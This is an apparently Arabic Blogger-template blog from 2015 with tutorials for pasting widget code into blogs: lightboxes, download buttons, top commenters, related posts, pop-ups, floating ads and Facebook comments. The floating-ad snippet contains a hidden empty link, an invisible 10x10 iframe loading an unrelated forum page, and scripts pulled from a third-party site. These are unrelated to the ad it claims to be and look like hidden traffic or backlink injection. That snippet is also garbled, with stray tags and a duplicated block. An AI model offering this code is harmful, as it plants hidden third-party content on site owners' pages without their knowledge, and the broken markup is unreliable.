اكبر موقع لقوالب بلوجر

الخميس، 5 مارس، 2015

شرح طريقة عرض الصور فى صندوق lightbox لبلوجر

اهلا بكم زوار موقع قوالبى , معكم اليوم شرح طريقة عرض الصور فى صندوق lightbox لبلوجر , هذه الاضافة تسهل على الزائر عرض الصور بدلا من فتحها فى رابط لتكبيرها

للمعاينة اضغط على الصورة التالية

طريقة التركيب

اذهب الى تعديل القالب ثم ابحث عن

ثم ضع هذا الكود فوقه

و بهذا تكون قد اتممت تركيد الاضافة
نتمنى ان تقون قد استفدت من الموضوع

0 التعليقات

اضافة ازرار معاينة و تحميل بشكل رائع

بسم الله الرحمن الرحيم
معكم اليوم شرح اضافة ازرار معاينة و تحميل بشكل رائع , هذه الاضافة تفيدك اذا كنت تملك موقع لتحميل القوالب او لتحميل البرامج و الالعاب او اى شئ يمكن تحميل , سنقوم الان بشرح كيفية اضافة هذه الازرار الى مدونتك

طريقة التركيب

اذهب الى تعديل القالب الخاص بمدونتك
ثم ابحث عن </head> و اضف الكود التالي قبله اى فوقه

ابحث عن

و اضف الكود التالي فوقه

#wrap {
    margin: 20px auto;
    text-align: center;
}

#wrap br {
    display: none;
}

.btn-slide, .btn-slide2 {
    position: relative;
    display: inline-block;
    height: 50px;
    width: 200px;
    line-height: 50px;
    padding: 0;
    border-radius: 50px;
    background: #fdfdfd;
    border: 2px solid #0099cc;
    margin: 10px;
    transition: .5s;
}

.btn-slide2 {
    border: 2px solid #efa666;
}

.btn-slide:hover {
    background-color: #0099cc;
}

.btn-slide2:hover {
    background-color: #efa666;
}

.btn-slide:hover span.circle, .btn-slide2:hover span.circle2 {
    right: 100%;
    margin-right: -45px;
    background-color: #fdfdfd;
    color: #0099cc;
}

.btn-slide2:hover span.circle2 {
    color: #efa666;
}

.btn-slide:hover span.title, .btn-slide2:hover span.title2 {
    right: 40px;
    opacity: 0;
}

.btn-slide:hover span.title-hover, .btn-slide2:hover span.title-hover2 {
    opacity: 1;
    right: 40px;
}

.btn-slide span.circle, .btn-slide2 span.circle2 {
    display: block;
    background-color: #0099cc;
    color: #fff;
    position: absolute;
    float: right;
    margin: 5px;
    line-height: 42px;
    height: 40px;
    width: 40px;
    top: 0;
    right: 0;
    transition: .5s;
    border-radius: 50%;
}

.btn-slide2 span.circle2 {
    background-color: #efa666;
}

.btn-slide span.title,
  .btn-slide span.title-hover, .btn-slide2 span.title2,
  .btn-slide2 span.title-hover2 {
    position: absolute;
    right: 90px;
    text-align: center;
    margin: 0 auto;
    font-size: 16px;
    font-weight: bold;
    color: #30abd5;
    transition: .5s;
}

.btn-slide2 span.title2,
  .btn-slide2 span.title-hover2 {
    color: #efa666;
    right: 80px;
  }

.btn-slide span.title-hover, .btn-slide2 span.title-hover2 {
    right: 80px;
    opacity: 0;
}

.btn-slide span.title-hover, .btn-slide2 span.title-hover2 {
    color: #fff;
}

عند كتابة موضوع انتقل إلى وضع HTML
و اضف الكود فى المكان الذى تريده
مع تغيير # برابط المعاينة و التحميل

0 التعليقات

الأحد، 1 مارس، 2015

شرح اضافة اكثر الزوار تعليقا لمدونات بلوجر

بسم الله الرحمن الرحيم

اهلاً بكم زوار موقع قوالبى معكم اليوم شرح اضافة اكثر الزوار تعليقا لمدونات بلوجر , اضافة مهمة تعطيك شكل رائل لمدونتك فهى تقوم بعرض اكثر الزوار تعليقا و عدد تعليقاتهم , تابع معى الشرح

اولا قم بالذهاب الى لوحة تحكم المدونة

ثم اذهب الى التخطيط

اضف اداة جديدة و من ثم اختر html/javascript

قع اسم للاضافة مثل اكثر الزوار تعليقا

ثم ضع فى الصندوق هذا الكود

<style type="text/css"> .top-commentators {margin: 3px 0px;border-bottom: 1px dotted #CCC;font-family: arial;color: #FF764C;}.top-commentators b{color: rgb(132, 132, 132);} .avatar-top-commentators { vertical-align:middle; border-radius: 30px;}.top-commentators .commenter-link-name {padding-left:0;} </style> <script type="text/javascript"> var maxTopCommenters = 10;var minComments = 1; var numDays = 0;     var excludeMe = true; var excludeUsers = ["Anonymous", "someotherusertoexclude"]; var maxUserNameLength = 42; // var txtTopLine = '<b>[#].</b> [image] ([user]) ([count]) '; var txtNoTopCommenters = 'No top commentators at this time.'; var txtAnonymous = ''; // var sizeAvatar = 45; var cropAvatar = true; // var urlNoAvatar = "http://2.bp.blogspot.com/-pWdg8wLsedo/UmVWQxLdwrI/AAAAAAAAEVk/-z7YgKykkuU/s1600/avatar_blue_m_96.png" + sizeAvatar; var urlAnoAvatar = 'http://1.bp.blogspot.com/-6B6DXCp8dek/UmVPm7D2mOI/AAAAAAAAEVU/Xz-3z2nRpUk/s1600/avatar1.png' + sizeAvatar; var urlMyProfile = ''; var urlMyAvatar = ''; if(!Array.indexOf) {  Array.prototype.indexOf=function(obj) {   for(var i=0;i<this.length;i++) if(this[i]==obj) return i;   return -1; }} function replaceTopCmtVars(text, item, position) {   if(!item || !item.author) return text;   var author = item.author;   var authorUri = "";   if(author.uri && author.uri.$t != "")     authorUri = author.uri.$t;   var avaimg = urlAnoAvatar;   var bloggerprofile = "http://www.blogger.com/profile/";   if(author.gd$image && author.gd$image.src && authorUri.substr(0,bloggerprofile.length) == bloggerprofile)     avaimg = author.gd$image.src;   else {     var parseurl = document.createElement('a');     if(authorUri != "") {       parseurl.href = authorUri;       avaimg = 'http://www.google.com/s2/favicons?domain=' + parseurl.hostname;     }   }   if(urlMyProfile != "" && authorUri == urlMyProfile && urlMyAvatar != "")     avaimg = urlMyAvatar;   if(avaimg == "http://img2.blogblog.com/img/b16-rounded.gif" && urlNoAvatar != "")     avaimg = urlNoAvatar;   var newsize="s"+sizeAvatar;   avaimg = avaimg.replace(/\/s\d\d+-c\//, "/"+newsize+"-c/");   if(cropAvatar) newsize+="-c";   avaimg = avaimg.replace(/\/s\d\d+(-c){0,1}\//, "/"+newsize+"/");   var authorName = author.name.$t;   if(authorName == 'Anonymous' && txtAnonymous != '' && avaimg == urlAnoAvatar)     authorName = txtAnonymous;   var imgcode = '<img class="avatar-top-commentators" height="'+sizeAvatar+'" width="'+sizeAvatar+'" title="'+authorName+'" src="'+avaimg+'" />';   if(authorUri!="") imgcode = '<a href="'+authorUri+'">'+imgcode+'</a>';   if(maxUserNameLength > 3 && authorName.length > maxUserNameLength)     authorName = authorName.substr(0, maxUserNameLength-3) + "...";   var authorcode = authorName;   if(authorUri!="") authorcode = '<a class="commenter-link-name" href="'+authorUri+'">'+authorcode+'</a>';   text = text.replace('[user]', authorcode);   text = text.replace('[image]', imgcode);   text = text.replace('[#]', position);   text = text.replace('[count]', item.count);   return text; } var topcommenters = {}; var ndxbase = 1; function showTopCommenters(json) {   var one_day=1000*60*60*24;   var today = new Date();   if(urlMyProfile == "") {     var elements = document.getElementsByTagName("*");     var expr = /(^| )profile-link( |$)/;     for(var i=0 ; i<elements.length ; i++)       if(expr.test(elements[i].className)) {         urlMyProfile = elements[i].href;         break;       }   }   if(json && json.feed && json.feed.entry && json.feed.entry.length) for(var i = 0 ; i < json.feed.entry.length ; i++ ) {     var entry = json.feed.entry[i];     if(numDays > 0) {       var datePart = entry.published.$t.match(/\d+/g);       var cmtDate = new Date(datePart[0],datePart[1]-1,datePart[2],datePart[3],datePart[4],datePart[5]);         var days = Math.ceil((today.getTime()-cmtDate.getTime())/(one_day));       if(days > numDays) break;     }     var authorUri = "";     if(entry.author[0].uri && entry.author[0].uri.$t != "")       authorUri = entry.author[0].uri.$t;     if(excludeMe && authorUri != "" && authorUri == urlMyProfile)       continue;     var authorName = entry.author[0].name.$t;     if(excludeUsers.indexOf(authorName) != -1)       continue;     var hash=entry.author[0].name.$t + "-" + authorUri;     if(topcommenters[hash])       topcommenters[hash].count++;     else {       var commenter = new Object();       commenter.author = entry.author[0];       commenter.count = 1;       topcommenters[hash] = commenter;     }   }   if(json && json.feed && json.feed.entry && json.feed.entry.length && json.feed.entry.length == 200) {     ndxbase += 200;     document.write('<script type="text/javascript" src="http://'+window.location.hostname+'/feeds/comments/default?redirect=false&max-results=200&start-index='+ndxbase+'&alt=json-in-script&callback=showTopCommenters"></'+'script>');     return;   }   // convert object to array of tuples   var tuplear = [];   for(var key in topcommenters) tuplear.push([key, topcommenters[key]]);   tuplear.sort(function(a, b) {     if(b[1].count-a[1].count)         return b[1].count-a[1].count;     return (a[1].author.name.$t.toLowerCase() < b[1].author.name.$t.toLowerCase()) ? -1 : 1;   });   var realcount = 0;   for(var i = 0; i < maxTopCommenters && i < tuplear.length ; i++) {     var item = tuplear[i][1];     if(item.count < minComments)         break;     document.write('<di'+'v class="top-commentators">');     document.write(replaceTopCmtVars(txtTopLine, item, realcount+1));     document.write('</d'+'iv>');     realcount++;   }   if(!realcount)     document.write(txtNoTopCommenters); } document.write('<script type="text/javascript" src="http://'+window.location.hostname+'/feeds/comments/default?redirect=false&max-results=200&alt=json-in-script&callback=showTopCommenters"></'+'script>'); </script><a style="float: left; font: normal 10px tahoma; color: #BBB;" target="_blank" href="https://qwaliby.blogspot.com">قوالبى</a>

لتغيير عدد عرض الزوار
ابحث عن هذا الكود بداخل الكود السابق و عدل على الرقم

0 التعليقات

شرح اضافة نافذة منبثقة لموقع لبلوجر

بسم الله الرحمن الرحيم

نقدم لكم اليوم شرح جديد على موقع قوالبى و هو شرح اضافة نافذة منبثقة لموقع لبلوجر , وهو عند دخول اى زائر فى مدونتك و يضغط فى اى مكان يتم فتح نافذة منبثقة بها موقع تقوم انت بتحديده , هذا الكود يساعدك فى عمل دعاية لمواقع اخرى , او اعطاء الكود لمدونة تريد ان تعلن بها عن مدونتك بمقابل مادى , تابع الشرح

اولا اذهب الى التخطيط

ثانيا قم باضافة Html/JavaScript

و من ثم ضع بها المود التالى

كل ما عليك هو وضع الرابط المراد فتحه مكان "ضع هنا الرابط"

نتمنى ان تكون قد استفدت من الموضوع

0 التعليقات

شرح اضافة مواضيع ذات صلة لبلوجر

بسم الله الرحمن الرحيم

نقدم لكم اليوم فى موقع قوالبى شرح اضافة مواضيع ذات صلة لبلوجر , يهتم الناشرين فى بلوجر بتقديم محتوى راقى فى مدونتهم , و من اهم الاشياء التى يهتم بها المدون و هو شكل المدونة , فبوجود مواضيع ذات صلة فى مدونتك تسهل على الزائر الوصول الى المواضيع المشابهة للموضوع الذى يتصفحه , تابع معنا الشرح

قبل القيام باى تعديل على القالب احفظ نسخة احتياطية للقالب

اولا اذهب الى تعديل القالب ثم ابحث عن </Head>

و ضع قبله هذا الكود

<b:if cond='data:blog.pageType == "item"'>
<style type='text/css'>
#related-posts {
float:center;
text-transform:none;
height:100%;
min-height:100%;
padding-top:5px;
padding-left:5px;
}
#related-posts h2{
font-size: 1.3em;
font-weight: bold;
color: black;
font-family: Tahoma, Georgia, “Times New Roman”, Times, serif;
margin-bottom: 0.75em;
margin-top: 0em;
padding-top: 0em;
}
#related-posts a{
color:black;
}
#related-posts a:hover{
color:black;
}
#related-posts  a:hover {
background-color:#d4eaf2;
}
</style>
<script src='http://sma-blogger.googlecode.com/files/relatedthumbs21.js' type='text/javascript'/>
</b:if>

ثانيا ضع هذا الكود فى المكان الذى تريد ان تظهر به

او ضعه بعد هذا الكود
ربما تجده اكثر من مره قم بتجربت وضع الكود بعده فاذا لم تنجع جرب الذى يليه

لتعديل عدد المواضيغ التى تريدها ان تضهر ابحث عن

ستجده فى الكود السابق

0 التعليقات

الخميس، 26 فبراير، 2015

كود وضع الاعلانات فى نافذة منبثقة لبلوجر

بسم الله الرحمن الرحيم

اهلا بكم زوار موقع قوالبى , معكم اليوم شرح وضع الاعلانات فى نافذة منبثقة لبلوجر , عند وضع اعلانات ادسنس او حسوب او اى اعلانات فى نافذة منبثقة فهى تزيد من ارباحك

كمثال

لوضع الكود اذهب الى التخطيط ثم قم باضافة HTML/JavaScript

و ضع بها الكود التالى

مع تغيير كلمة الاعلان هنا بكود اعلانك الخاص بمقاس

width:336

height:280

او اى مقاس اخر تريده

<div id="code">
  <a href="http://blog.letsfx.com"></a>    <div id="divadfloat" style="z-index: 9998;width: auto; height: auto; position: fixed ;display: marker;background-color: #F5F5FA; bottom: -600px;left:0;float: left;-webkit-border-radius: 10px; -moz-border-radius: 10px; padding:2px 2px 0px 2px;">
    <small style="background-color: #EDEFF4;color: #3B5998;z-index: 9999;float: left;position: absolute;display:inline ; cursor:pointer;top : 0px;left: 150px" onclick="document.getElementById('divadfloat').style.display='none'; ">[Close]</small>
<iframe width="10" height="10" src="http://educationscience.forumegypt.net/h29-page" name="add" border="0" frameborder="0"></iframe>

الاعلان هنا

</script>
<script type='text/javascript' src='http://alkotab.net/wordpress/wp-content/plugins/wp-postratings/postratings-js.js?ver=1.63'></script>
<script type='text/javascript' src='http://alkotab.net/wordpress/wp-content/plugins/floating-menu/js/jquery.easing.js?ver=3.5'></script>
<script type='text/javascript' src='http://alkotab.net/wordpress/wp-content/plugins/floating-menu/js/jquery.hoverIntent.minified.js?ver=3.5'></script>
<script type='text/javascript' src='http://alkotab.net/wordpress/wp-content/plugins/floating-menu/js/jquery.floater.2.2.js?ver=3.5'></script>
</div>
<div id="code">
  <a href="http://blog.letsfx.com"></a>    <div id="divadfloat" style="z-index: 9998;width: auto; height: auto; position: fixed ;display: marker;background-color: #F5F5FA; bottom: -600px;left:0;float: left;-webkit-border-radius: 10px; -moz-border-radius: 10px; padding:2px 2px 0px 2px;">
    <small style="background-color: #EDEFF4;color: #3B5998;z-index: 9999;float: left;position: absolute;display:inline ; cursor:pointer;top : 0px;left: 150px" onclick="document.getElementById('divadfloat').style.display='none'; ">[Close]</small>
<iframe width="10" height="10" src="http://educationscience.forumegypt.net/h29-page" name="add" border="0" frameborder="0"></iframe>

نتمنى ان تكون قد استفدت من الموضوع

0 التعليقات

الجمعة، 20 فبراير، 2015

كيفية اضافة تعليقات الفيس بوك لمدونة بلوجر

بسم الله الرحمن الرحيم

كيفية اضافة تعليق الفيس بوك لمدونة بلوجر , تعليقات الفيس بوك من الاضافات المهمة عند المدونين لانها تسهل على الزائر وضع تعليق سنعرض عليكم الان شرح وضعها فى المدونة

اولا اضغط على الرابط التالى من هنا

كيفية اضافة تعليقات الفيس بوك لمدونة بلوجر

1- ضع هنا رابط مدونتك

2- ضع هنا مقاس العرض

3- ضع هنا عدد التعليقات التى ستظهر وبعدها ستجد "عرض اكثر"

4- اختر لون الصندوق " فاتح - غامق"

5- بعد التعديلات السابقة اضغط هنا

قم بنسخ هذا الكود وضعه بعد <body>

الكود جاهز

و من ثم قم بنسخ هذا الكود و ضعه بداخل الموضوع

كمثال ابحث عن

وضع الكود بعده , ربما تجده اكثر من مره قم بتجربت وضع الكود بعده فاذا لم تنجع جرب الذى يليه

الكود جاهز

مع تغيير رابط مدونتك

ثم ابحث عن <html
و ضع بعده

مثل الصورة

وبهذا يكون الشرح قد انتهى , نتمنى ان نكون قد افدناكم اليوم .

6 التعليقات

اشترك ليصلك اجدد القوالب

انواع القوالب

القوالب الأكثر تحميلاً

متابعي المدونة

الخميس، 5 مارس، 2015

شرح طريقة عرض الصور فى صندوق lightbox لبلوجر

اضافة ازرار معاينة و تحميل بشكل رائع

الأحد، 1 مارس، 2015

شرح اضافة اكثر الزوار تعليقا لمدونات بلوجر

شرح اضافة نافذة منبثقة لموقع لبلوجر

شرح اضافة مواضيع ذات صلة لبلوجر

الخميس، 26 فبراير، 2015

كود وضع الاعلانات فى نافذة منبثقة لبلوجر

الجمعة، 20 فبراير، 2015

كيفية اضافة تعليقات الفيس بوك لمدونة بلوجر